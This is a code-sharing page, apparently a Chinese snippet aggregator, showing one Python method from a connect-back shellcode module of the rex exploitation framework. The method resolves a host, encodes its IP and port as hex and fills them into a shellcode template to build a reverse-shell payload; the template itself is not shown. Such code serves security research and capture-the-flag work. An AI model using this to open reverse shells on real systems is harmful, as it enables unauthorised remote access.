linux_amd64_connectback.py 文件源码

python
阅读 33 收藏 0 点赞 0 评论 0

项目:rex 作者: shellphish 项目源码 文件源码
def to_raw(self, host, port):
        #pylint:disable=arguments-differ
        '''
        :param ip: string representing the ip address or domain name to connect back to
        :param port: port to connect to on the remote host
        '''

        l.debug("Connecting back to %s:%d", host, port)

        target_ip = socket.gethostbyname(host)
        raw_ip = socket.inet_aton(target_ip).encode('hex')

        if port < 0 or port >= 65535:
            raise ValueError("invalid port specified")

        raw_port = struct.pack("!H", port).encode('hex')

        return (self.hex_code % (raw_port, raw_ip)).decode('hex')
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号